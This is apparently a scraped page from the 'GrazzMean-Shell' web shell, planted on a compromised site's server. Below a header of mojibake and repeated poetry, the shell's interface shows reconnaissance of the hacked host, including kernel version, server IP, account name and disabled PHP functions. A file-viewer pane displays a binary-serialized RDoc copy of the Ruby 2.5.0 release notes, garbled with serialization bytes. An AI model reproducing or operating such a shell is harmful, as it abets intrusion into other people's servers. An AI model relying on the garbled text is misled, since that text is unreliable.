曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.かつては雑草やヨモギと共に雨や露を分かち合っていたが、今では松やヒノキと共に霜や雪に耐えている。曾与蒿藜同雨露,Once sharing rain and dew with weeds and wormwood, now enduring frost and snow with pines and cypresses.终随松柏到冰霜.曾与蒿藜同雨露한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.,终随松柏到冰霜.譖セ荳手珍阯懷酔髮ィ髴イ�檎サ磯囂譚セ譟丞芦蜀ー髴�曾与蒿藜同雨露,鏇句笌钂胯棞鍚岄洦闇诧紝缁堥殢鏉炬煆鍒板啺闇�终随松柏到冰霜.曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.曾与蒿藜同雨露,终随松柏到冰霜. rahbord-ins.ir - GrazzMean-Shell
shell bypass 403

GrazzMean-Shell Shell

: /opt/alt/ruby27/share/ri/system/ [ drwxr-xr-x ]
Uname: Linux server18.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 185.126.202.122
Your Ip: 216.73.216.193
User: rahbordf (4876) | Group: rahbordf (4881)
Safe Mode: OFF
Disable Function:
show_source, system, shell_exec, passthru, exec, popen, proc_open

name : page-NEWS-2_5_0.ri
U:RDoc::TopLevel[	iI"NEWS-2.5.0:EFcRDoc::Parser::Simpleo:RDoc::Markup::Document:@parts[%S:RDoc::Markup::Heading:
leveli:	textI"NEWS for Ruby 2.5.0;To:RDoc::Markup::BlankLineo:RDoc::Markup::Paragraph;[I"JThis document is a list of user visible feature changes made between ;TI"#releases except for bug fixes.;T@
o;
;[	I"DNote that each entry is kept so brief that no reason behind or ;TI"Ireference information is supplied with.  For a full list of changes ;TI"Hwith all sufficient information, see the ChangeLog file or Redmine ;TI"M(e.g. <tt>https://bugs.ruby-lang.org/issues/$FEATURE_OR_BUG_NUMBER</tt>);T@
S;	;
i;I"$Changes since the 2.4.0 release;T@
S;	;
i;I"Language changes;T@
o:RDoc::Markup::List:
@type:BULLET:@items[o:RDoc::Markup::ListItem:@label0;[o;
;[I"=Top-level constant look-up is removed.  [Feature #11547];T@
o;;0;[o;
;[I"Krescue/else/ensure are allowed inside do/end blocks.  [Feature #12906];T@
o;;0;[o;
;[I"Grefinements take place in string interpolations.  [Feature #13812];T@
S;	;
i;I"1Core classes updates (outstanding ones only);T@
o;;;;[o;;0;[o;
;[I"
Array;T@
o;;;;[o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"#Array#append  [Feature #12746];To;;0;[o;
;[I"$Array#prepend  [Feature #12746];T@
o;;0;[o;
;[I"	Data;T@
o;;;;[o;;0;[o;
;[I"GIs deprecated. It was a base class for C extensions, and it's not ;TI"7necessary to expose in Ruby level. [Feature #3072];T@
o;;0;[o;
;[I"Exception;T@
o;;;;[o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"MException#full_message to retrieve a String expression of an exception, ;TI"Dformatted in the same way in which Ruby prints out an uncaught ;TI"0exception.  [Feature #14141] [experimental];T@
o;;0;[o;
;[I"Dir;T@
o;;;;[o;;0;[o;
;[I"QDir.glob provides new optional keyword argument, +:base+ .  [Feature #13056];To;;0;[o;
;[I"MDir.chdir (without block arg), Dir.open, Dir.new, Dir.mkdir, Dir.rmdir, ;TI"Dir.empty? releases GVL;T@
o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"#Dir.children  [Feature #11302];To;;0;[o;
;[I"%Dir.each_child  [Feature #11302];T@
o;;0;[o;
;[I"Enumerable;T@
o;;;;[o;;0;[o;
;[I"LEnumerable#any?, Enumerable#all?, Enumerable#none? and Enumerable#one? ;TI"0accept a pattern argument. [Feature #11286];T@
o;;0;[o;
;[I"	File;T@
o;;;;[
o;;0;[o;
;[I"IFile.open accepts +:newline+ option to imply text mode. [Bug #13350];To;;0;[o;
;[I"7File#path raises an IOError for files opened with ;TI"6File::Constants::TMPFILE option. [Feature #13568];To;;0;[o;
;[I"KFile.stat, File.exist? and other <code>rb_stat()</code>-using methods ;TI"release GVL. [Bug #13941];To;;0;[o;
;[I"/File.rename releases GVL. [Feature #13951];To;;0;[o;
;[I"PFile::Stat#atime, File::Stat#mtime and File::Stat#ctime support fractional ;TI"@second timestamps on Windows 8 and later.  [Feature #13726];To;;0;[o;
;[I"OFile::Stat#ino and File.identical? support ReFS 128bit ino on Windows 8.1 ;TI"!and later.  [Feature #13731];To;;0;[o;
;[	I"OFile.readable?, File.readable_real?, File.writable?, File.writable_real?, ;TI"JFile.executable?, File.executable_real?, File.mkfifo, File.readlink, ;TI"HFile.truncate, File#truncate, File.chmod, File.lchmod, File.chown, ;TI"AFile.lchown, File.unlink, File.utime, File.lstat release GVL;T@
o;;0;[o;
;[I"New method:;T@
o;;;;[o;;0;[o;
;[I"!File.lutime  [Feature #4052];T@
o;;0;[o;
;[I"	Hash;T@
o;;;;[o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"*Hash#transform_keys  [Feature #13583];To;;0;[o;
;[I"+Hash#transform_keys!  [Feature #13583];To;;0;[o;
;[I" Hash#slice  [Feature #8499];T@
o;;0;[o;
;[I"IO;T@
o;;;;[o;;0;[o;
;[I"OIO.copy_stream tries copy offload with copy_file_range(2) [Feature #13867];T@
o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"IO#pread  [Feature #4532];To;;0;[o;
;[I"IO#pwrite  [Feature #4532];To;;0;[o;
;[I"9IO#write accepts multiple arguments  [Feature #9323];T@
o;;0;[o;
;[I"IOError;T@
o;;;;[o;;0;[o;
;[I"AIO#close might raise an error with message "stream closed", ;TI"Mbut it is refined to "stream closed in another thread". The new message ;TI")is more clear for user. [Bug #13405];T@
o;;0;[o;
;[I"Integer;T@
o;;;;[o;;0;[o;
;[I"LInteger#round, Integer#floor, Integer#ceil and Integer#truncate always ;TI"$return an Integer. [Bug #13420];To;;0;[o;
;[I"AInteger#pow accepts modulo argument for calculating modular ;TI"7exponentiation.  [Feature #12508] [Feature #11003];T@
o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"IInteger#allbits?, Integer#anybits?, Integer#nobits? [Feature #12753];To;;0;[o;
;[I"#Integer.sqrt  [Feature #13219];T@
o;;0;[o;
;[I"Kernel;T@
o;;;;[o;;0;[o;
;[I"(Kernel#yield_self   [Feature #6721];To;;0;[o;
;[I" Kernel#pp  [Feature #14123];To;;0;[o;
;[I"2Kernel#warn(..., uplevel:n)  [Feature #12882];T@
o;;0;[o;
;[I"Method;T@
o;;;;[o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"NMethod#=== that invokes Method#call, as same as Proc#=== [Feature #14142];T@
o;;0;[o;
;[I"Module;T@
o;;;;[o;;0;[o;
;[I"RModule#attr, Module#attr_accessor, Module#attr_reader and Module#attr_writer ;TI"$become public. [Feature #14132];To;;0;[o;
;[I"HModule#define_method, Module#alias_method, Module#undef_method and ;TI"9Module#remove_method become public. [Feature #14133];T@
o;;0;[o;
;[I"Numeric;T@
o;;;;[o;;0;[o;
;[I"ANumeric#step no longer hides errors from coerce method when ;TI"Ngiven a step value which cannot be compared with #> to 0. [Feature #7688];To;;0;[o;
;[I"JNumerical comparison operators (<,<=,>=,>) no longer hide exceptions ;TI"Nfrom #coerce method internally. Return nil in #coerce if the coercion is ;TI"!impossible.  [Feature #7688];T@
o;;0;[o;
;[I"Process;T@
o;;;;[o;;0;[o;
;[I"TPrecision of Process.times is improved if getrusage(2) exists. [Feature #11952];T@
o;;0;[o;
;[I"New method:;T@
o;;;;[o;;0;[o;
;[I";Process.last_status as an alias of $? [Feature #14043];T@
o;;0;[o;
;[I"
Range;To;;;;[o;;0;[o;
;[I"JRange#initialize no longer hides exceptions when comparing begin and ;TI"Cend with #<=> and raise a "bad value for range" ArgumentError ;TI"Rbut instead lets the exception from the #<=> call go through. [Feature #7688];T@
o;;0;[o;
;[I"Regexp;T@
o;;;;[o;;0;[o;
;[I"EUpdate to Onigmo 6.1.3-669ac9997619954c298da971fcfacccf36909d05.;T@
o;;;;[o;;0;[o;
;[I"JSupport absence operator https://github.com/k-takata/Onigmo/issues/82;T@
o;;0;[o;
;[I"=Support new 5 emoji-related Unicode character properties;T@
o;;0;[o;
;[I" RubyVM::InstructionSequence;T@
o;;;;[o;;0;[o;
;[I"New method:;T@
o;;;;[o;;0;[o;
;[I"+RubyVM::InstructionSequence#each_child;To;;0;[o;
;[I"-RubyVM::InstructionSequence#trace_points;T@
o;;0;[o;
;[I"String;T@
o;;;;[
o;;0;[o;
;[I"K<code>String#-@</code> deduplicates unfrozen strings.  Already-frozen ;TI"Bstrings remain unchanged for compatibility.  [Feature #13077];To;;0;[o;
;[I"Z<code>-"literal"</code> (<code>String#-@</code>) optimized to return the same object ;TI"J(same as <code>"literal".freeze</code> in Ruby 2.1+) [Feature #13295];To;;0;[o;
;[I"LString#casecmp and String#casecmp? return nil for non-string arguments ;TI"1instead of raising a TypeError. [Bug #13312];To;;0;[o;
;[I"9String#start_with? accepts a regexp [Feature #13712];T@
o;;0;[o;
;[I"New methods:;T@
o;;;;[	o;;0;[o;
;[I"AString#delete_prefix, String#delete_prefix! [Feature #12694];To;;0;[o;
;[I"AString#delete_suffix, String#delete_suffix! [Feature #13665];To;;0;[o;
;[I"BString#each_grapheme_cluster and String#grapheme_clusters to ;TI"1enumerate grapheme clusters [Feature #13780];To;;0;[o;
;[I"EString#undump to unescape String#dump'ed string [Feature #12275];T@
o;;0;[o;
;[I"Struct;T@
o;;;;[o;;0;[o;
;[I"HStruct.new takes `keyword_init: true` option to initialize members ;TI"-with keyword arguments. [Feature #11925];T@
o;;0;[o;
;[I"PRegexp/String: Update Unicode version from 9.0.0 to 10.0.0 [Feature #13685];T@
o;;0;[o;
;[I"Thread;T@
o;;;;[o;;0;[o;
;[I"BDescription set by Thread#name= is now visible on Windows 10.;T@
o;;0;[o;
;[I"New method:;To;;;;[o;;0;[o;
;[I"#Thread#fetch  [Feature #13009];T@
o;;0;[o;
;[I"<The default of Thread.report_on_exception is now true, ;TI"Rshowing unhandled exceptions terminating threads on $stderr. [Feature #14143];T@
o;;0;[o;
;[I"	Time;T@
o;;;;[o;;0;[o;
;[I"]Time.at receives 3rd argument which specifies the unit of 2nd argument. [Feature #13919];T@
o;;0;[o;
;[I"
KeyError;T@
o;;;;[o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"'KeyError#receiver [Feature #12063];To;;0;[o;
;[I"'KeyError#key      [Feature #12063];T@
o;;0;[o;
;[I"FrozenError;T@
o;;;;[o;;0;[o;
;[I"*New exception class. [Feature #13224];T@
S;	;
i;I"+Stdlib updates (outstanding ones only);T@
o;;;;[o;;0;[o;
;[I"BigDecimal;T@
o;;;;[	o;;0;[o;
;[I"Update to BigDecimal 1.3.4;T@
o;;0;[o;
;[I"&The following features are added:;T@
o;;;;[o;;0;[o;
;[I"BigDecimal::VERSION;T@
o;;0;[o;
;[I"2The following features have been deprecated, ;TI"8and are planned to be removed in the version 1.4.0:;T@
o;;;;[o;;0;[o;
;[I"BigDecimal.new;T@
o;;0;[o;
;[I"BigDecimal.ver;T@
o;;0;[o;
;[I"?BigDecimal#clone and #dup now do not make a new instance, ;TI"%but returns the receiver itself.;T@
o;;0;[o;
;[I"
Coverage;T@
o;;;;[o;;0;["o;
;[I"OSupport branch coverage and method coverage measurement. [Feature #13901] ;TI"KBranch coverage tells you which branches are executed, and which not. ;TI"IMethod coverage tells you which methods are invoked, and which not. ;TI"PBy running a test suite with this new feature, you can know which branches ;TI"Oand methods are executed by a test, and evaluate total coverage of a test ;TI"suite more strictly.;T@
o;
;[I"KYou can specify the measuring target by an option to `Coverage.start`:;T@
o:RDoc::Markup::Verbatim;[I"@Coverage.start(lines: true, branches: true, methods: true)
;T:@format0o;
;[I"LAfter some Ruby files are loaded, you can use `Coverage.result` to get ;TI"the coverage result:;T@
o;;[I"Coverage.result
;TI" #=> { "/path/to/file.rb"=>
;TI",#     { :lines => [1, 2, 0, nil, ...],
;TI"#       :branches =>
;TI")#         { [:if, 0, 2, 1, 6, 4] =>
;TI"2#             { [:then, 1, 3, 2, 3, 8] => 0,
;TI"1#               [:else, 2, 5, 2, 5, 8] => 2
;TI"#             }
;TI"#         },
;TI"#       :methods => {
;TI"0#          [Object, :foo, 1, 0, 7, 3] => 2
;TI"#       }
;TI"
#     }
;TI"#   }
;T;0o;
;[I"OThe result type of line coverage is not changed; it is just an array that ;TI"Jcontains numbers, which means the count that each line was executed, ;TI":or `nil`s, which means that the line is not relevant.;T@
o;
;[I"+The result type of branch coverage is:;T@
o;;[I"7{ (jump base) => { (jump target) => (counter) } }
;T;0o;
;[I"0where jump base and targets have the format;T@
o;;[I"K[type, unique-id, start lineno, start column, end lineno, end column]
;T;0o;
;[I"RFor example, `[:if, 0, 2, 1, 6, 4]` reads an `if` statement that ranges from ;TI"Rline 2 and column 1, to line 6 and column 4.  `[:then, 1, 3, 2, 3, 8]` reads ;TI"Sa `then` clause that ranges from line 3 and column 2, to line 3 and column 8. ;TI"ONote that lineno starts from 1, and that columnno starts from 0.  So, the ;TI"Rabove example shows a branch from the `if` to the `then` was never executed, ;TI"Aand a branch from the `if` to the `else` was executed twice.;T@
o;
;[I"+The result type of method coverage is:;T@
o;;[I"#{ (method key) => (counter) }
;T;0o;
;[I"$where method key has the format;T@
o;;[I"N[class, method-name, start lineno, start column, end lineno, end column]
;T;0o;
;[I"SFor example, `[Object, :foo, 1, 0, 7, 3]` reads `Object#foo` that ranges from ;TI"Pline 1 and column 0, to line 7 and column 3.  The above example shows this ;TI"$`Object#foo` was invoked twice.;T@
o;
;[I"UNote: To keep compatibility, passing no option to `Coverage.start` will measure ;TI"Jonly line coverage, and `Coverage.result` will return the old format:;T@
o;;[I"Coverage.result
;TI"6#=> { "/path/to/file.rb"=> [1, 2, 0, nil, ...] }
;T;0o;;0;[o;
;[I"DRb;T@
o;;;;[o;;0;[o;
;[I"GACL::ACLEntry.new no longer suppresses IPAddr::InvalidPrefixError.;T@
o;;0;[o;
;[I"ERB;T@
o;;;;[o;;0;[o;
;[I"OAdd ERB#result_with_hash to render a template with local variables passed ;TI"(with a Hash object. [Feature #8631];T@
o;;0;[o;
;[I"ODefault template file encoding is changed from ASCII-8BIT to UTF-8 in erb ;TI"command. [Bug #14095];T@
o;;0;[o;
;[I"SCarriage returns are changed to be trimmed properly if trim_mode is specified ;TI"Wand used. Duplicated newlines will be removed on Windows. [Bug #5339] [Bug #11464];T@
o;;0;[o;
;[I"IPAddr;T@
o;;;;[o;;0;[o;
;[I"@IPAddr no longer accepts invalid address mask. [Bug #13399];To;;0;[o;
;[I"XIPAddr#ipv4_compat and IPAddr#ipv4_compat? are marked for deprecation. [Bug #13769];T@
o;;0;[o;
;[I"New methods:;T@
o;;;;[	o;;0;[o;
;[I"IPAddr#prefix;To;;0;[o;
;[I"IPAddr#loopback?;To;;0;[o;
;[I"%IPAddr#private? [Feature #11666];To;;0;[o;
;[I"(IPAddr#link_local? [Feature #10912];T@
o;;0;[o;
;[I"IRB;T@
o;;;;[o;;0;[o;
;[I"VPrint backtrace and error message in reverse order [Feature #8661] [experimental];To;;0;[o;
;[I"R`binding.irb` automatically requires irb and runs [Bug #13099] [experimental];To;;0;[o;
;[I"a`binding.irb` on its start shows source around the line where it was called [Feature #14124];T@
o;;0;[o;
;[I"Matrix;T@
o;;;;[o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"7Matrix.combine and Matrix#combine [Feature #10903];To;;0;[o;
;[I"9Matrix#hadamard_product and Matrix#entrywise_product;T@
o;;0;[o;
;[I"Net::HTTP;T@
o;;;;[
o;;0;[o;
;[I"?Net::HTTP.new supports no_proxy parameter [Feature #11195];To;;0;[o;
;[I"DNet::HTTP#min_version and Net::HTTP#max_version [Feature #9450];To;;0;[o;
;[I"!Add more HTTP status classes;To;;0;[o;
;[I"RNet::HTTP::STATUS_CODES is added as HTTP Status Code Repository [Misc #12935];To;;0;[o;
;[I"RNet::HTTP#proxy_user and Net::HTTP#proxy_pass reflect http_proxy environment ;TI"Rvariable if the system's environment variable is multiuser safe. [Bug #12921];T@
o;;0;[o;
;[I"
open-uri;To;;;;[o;;0;[o;
;[I"DURI.open method defined as an alias to open-uri's Kernel.open. ;TI"9open-uri's Kernel.open will be deprecated in future.;T@
o;;0;[o;
;[I"OpenSSL;T@
o;;;;[o;;0;[o;
;[I"HUpdated Ruby/OpenSSL from version 2.0 to 2.1. Changes are noted in ;TI"7"Version 2.1.0" section in ext/openssl/History.md.;T@
o;;0;[o;
;[I"
Pathname;T@
o;;;;[o;;0;[o;
;[I"New method:;T@
o;;;;[o;;0;[o;
;[I""Pathname#glob [Feature #7360];T@
o;;0;[o;
;[I"
Psych;T@
o;;;;[o;;0;[o;
;[I"Update to Psych 3.0.2.;T@
o;;;;[o;;0;[o;
;[I"3Convert fallback option to a keyword argument ;TI"+https://github.com/ruby/psych/pull/342;To;;0;[o;
;[I"PAdd :symbolize_names option to Psych.load, Psych.safe_load like JSON.parse ;TI"Shttps://github.com/ruby/psych/pull/333, https://github.com/ruby/psych/pull/337;To;;0;[o;
;[I"'Add Psych::Handler#event_location ;TI"+https://github.com/ruby/psych/pull/326;To;;0;[o;
;[I"'Make frozen string literal = true ;TI"+https://github.com/ruby/psych/pull/320;To;;0;[o;
;[I"8Preserve time zone offset when deserializing times ;TI"+https://github.com/ruby/psych/pull/316;To;;0;[o;
;[I"3Remove deprecated method aliases for syck gem ;TI"+https://github.com/ruby/psych/pull/312;T@
o;;0;[o;
;[I"
RbConfig;T@
o;;;;[o;;0;[o;
;[I"ARbConfig::LIMITS is added to provide the limits of C types. ;TI"6This is available when rbconfig/sizeof is loaded.;T@
o;;0;[o;
;[I"Ripper;T@
o;;;;[o;;0;[o;
;[I"1Ripper::EXPR_BEG and so on for Ripper#state.;T@
o;;0;[o;
;[I"New method:;T@
o;;;;[o;;0;[o;
;[I"@Ripper#state to tell the state of scanner. [Feature #13686];T@
o;;0;[o;
;[I"	RDoc;T@
o;;;;[o;;0;[o;
;[I"Update to RDoc 6.0.1.;T@
o;;;;[	o;;0;[o;
;[I")Replace IRB based lexer with Ripper.;To;;;;[o;;0;[o;
;[I"*https://github.com/ruby/rdoc/pull/512;To;;0;[o;
;[I":This much improves the speed of generating documents.;To;;0;[o;
;[I"=It also facilitates supporting new syntax in the future.;To;;0;[o;
;[I"?Support many new syntaxes of Ruby from the past few years.;To;;0;[o;
;[I"(Use "frozen_string_literal: true". ;TI"YPerformance survey: https://gist.github.com/aycabta/abdfaa75ea8a6877eeb734e942e73800;To;;0;[o;
;[I"Support did_you_mean.;T@
o;;0;[o;
;[I"
Rubygems;T@
o;;;;[o;;0;[o;
;[I"Update to Rubygems 2.7.3.;To;;;;[o;;0;[o;
;[I"<http://blog.rubygems.org/2017/11/28/2.7.3-released.html;To;;0;[o;
;[I"<http://blog.rubygems.org/2017/11/08/2.7.2-released.html;To;;0;[o;
;[I"<http://blog.rubygems.org/2017/11/03/2.7.1-released.html;To;;0;[o;
;[I"<http://blog.rubygems.org/2017/11/01/2.7.0-released.html;To;;0;[o;
;[I"=http://blog.rubygems.org/2017/10/09/2.6.14-released.html;To;;0;[o;
;[I"=http://blog.rubygems.org/2017/08/27/2.6.13-released.html;T@
o;;0;[o;
;[I"SecureRandom;T@
o;;;;[o;;0;[o;
;[I"New method:;T@
o;;;;[o;;0;[o;
;[I"SecureRandom.alphanumeric;T@
o;;0;[o;
;[I"Set;T@
o;;;;[o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"3Set#to_s as alias to #inspect [Feature #13676];To;;0;[o;
;[I"3Set#=== as alias to #include? [Feature #13801];To;;0;[o;
;[I"Set#reset [Feature #6589];T@
o;;0;[o;
;[I"
StringIO;T@
o;;;;[o;;0;[o;
;[I".StringIO#write accepts multiple arguments;T@
o;;0;[o;
;[I"StringScanner;T@
o;;;;[o;;0;[o;
;[I"New methods:;T@
o;;;;[o;;0;[o;
;[I"XStringScanner#size, StringScanner#captures, StringScanner#values_at  [Feature #836];T@
o;;0;[o;
;[I"URI;T@
o;;;;[o;;0;[o;
;[I"cRelative path operations no longer collapse consecutive slashes to a single slash. [Bug #8352];T@
o;;0;[o;
;[I"WEBrick;T@
o;;;;[	o;;0;[o;
;[I">Add Server Name Indication (SNI) support [Feature #13729];To;;0;[o;
;[I":support Proc objects as body responses [Feature #855];To;;0;[o;
;[I"+released as a RubyGem [Feature #13173];To;;0;[o;
;[I"=avoid unintended behavior from Kernel#open [Misc #14216];T@
o;;0;[o;
;[I"	Zlib;T@
o;;;;[o;;0;[o;
;[I"6Zlib::GzipWriter#write accepts multiple arguments;T@
S;	;
i;I"7Compatibility issues (excluding feature bug fixes);T@
o;;;;[	o;;0;[o;
;[I"Socket;T@
o;;;;[o;;0;[o;
;[I"ABasicSocket#read_nonblock and BasicSocket#write_nonblock no ;TI"Dlonger set the O_NONBLOCK file description flag as side effect ;TI"%(on Linux only) [Feature #13362];T@
o;;0;[o;
;[I"Random;T@
o;;;;[o;;0;[o;
;[I"BRandom.raw_seed renamed to become Random.urandom.  It is now ;TI";applicable to non-seeding purposes due to [Bug #9569].;T@
o;;0;[o;
;[I"Socket;T@
o;;;;[o;;0;[o;
;[I"2Socket::Ifaddr#vhid is added [Feature #13803];T@
o;;0;[o;
;[I"FConditionVariable, Queue and SizedQueue reimplemented for speed. ;TI"5They no longer subclass Struct. [Feature #13552];T@
S;	;
i;I">Stdlib compatibility issues (excluding feature bug fixes);T@
o;;;;[
o;;0;[o;
;[I"Gemification;T@
o;;;;[o;;0;[o;
;[I":Promote following standard libraries to default gems.;To;;;;[o;;0;[o;
;[I"
cmath;To;;0;[o;
;[I"csv;To;;0;[o;
;[I"	date;To;;0;[o;
;[I"dbm;To;;0;[o;
;[I"etc;To;;0;[o;
;[I"
fcntl;To;;0;[o;
;[I"fiddle;To;;0;[o;
;[I"fileutils;To;;0;[o;
;[I"	gdbm;To;;0;[o;
;[I"ipaddr;To;;0;[o;
;[I"
scanf;To;;0;[o;
;[I"	sdbm;To;;0;[o;
;[I"
stringio;To;;0;[o;
;[I"strscan;To;;0;[o;
;[I"webrick;To;;0;[o;
;[I"	zlib;T@
o;;0;[o;
;[I"Logger;T@
o;;;;[o;;0;[o;
;[I"@Logger.new("| command") had been working to open a command ;TI"Cunintentionally. It was prohibited, and now Logger#initialize ;TI"Ttreats a String argument only as a filename, as its specification. [Bug #14212];T@
o;;0;[o;
;[I"Net::HTTP;T@
o;;;;[o;;0;[o;
;[I"HNet::HTTP#start now passes :ENV to p_addr by default. [Bug #13351] ;TI"(To avoid this, pass nil explicitly.;T@
o;;0;[o;
;[I"
mathn.rb;T@
o;;;;[o;;0;[o;
;[I"*Removed from stdlib. [Feature #10169];T@
o;;0;[o;
;[I"
Rubygems;T@
o;;;;[o;;0;[o;
;[I"IRemoved "ubygems.rb" file from stdlib. It's needless since Ruby 1.9.;T@
S;	;
i;I"Supported platform changes;T@
o;;;;[o;;0;[o;
;[I""Drop support of NaCl platform;T@
o;;;;[o;;0;[o;
;[I"Fhttps://bugs.chromium.org/p/chromium/issues/detail?id=239656#c160;T@
S;	;
i;I" Implementation improvements;T@
o;;;;[o;;0;[o;
;[I"J(This might not be a "user visible feature change" but) Hash class's ;TI"5hash function is now SipHash13. [Feature #13017];T@
o;;0;[o;
;[I"KSecureRandom now prefers OS-provided sources than OpenSSL. [Bug #9569];T@
o;;0;[o;
;[I">Mutex rewritten to be smaller and faster [Feature #13517];T@
o;;0;[o;
;[I"HPerformance of block passing using block parameters is improved by ;TI"*lazy Proc allocation [Feature #14045];T@
o;;0;[o;
;[I"KDynamic instrumentation for TracePoint hooks instead of using "trace" ;TI"3instruction to avoid overhead [Feature #14104];T@
o;;0;[o;
;[I"EERB now generates code from a template twice as fast as Ruby 2.4;T@
S;	;
i;I"Miscellaneous changes;T@
o;;;;[o;;0;[o;
;[I"PPrint backtrace and error message in reverse order if $stderr is unchanged ;TI".and a tty. [Feature #8661] [experimental];T@
o;;0;[o;
;[I"OPrint error message in bold/underlined text if $stderr is unchanged and a ;TI")tty. [Feature #14140] [experimental];T@
o;;0;[o;
;[	I"Econfigure option --with-ext now mandates its arguments.  So for ;TI"Cinstance if you run ./configure --with-ext=openssl,+ then the ;TI"Gopenssl library is guaranteed compiled, otherwise the build fails ;TI"abnormally.;T@
o;
;[I"ENote however to always add the ",+" at the end of the argument. ;TI"?Otherwise nothing but openssl are built.  [Feature #13302];T:
@file@:0@omit_headings_from_table_of_contents_below0
© 2026 GrazzMean-Shell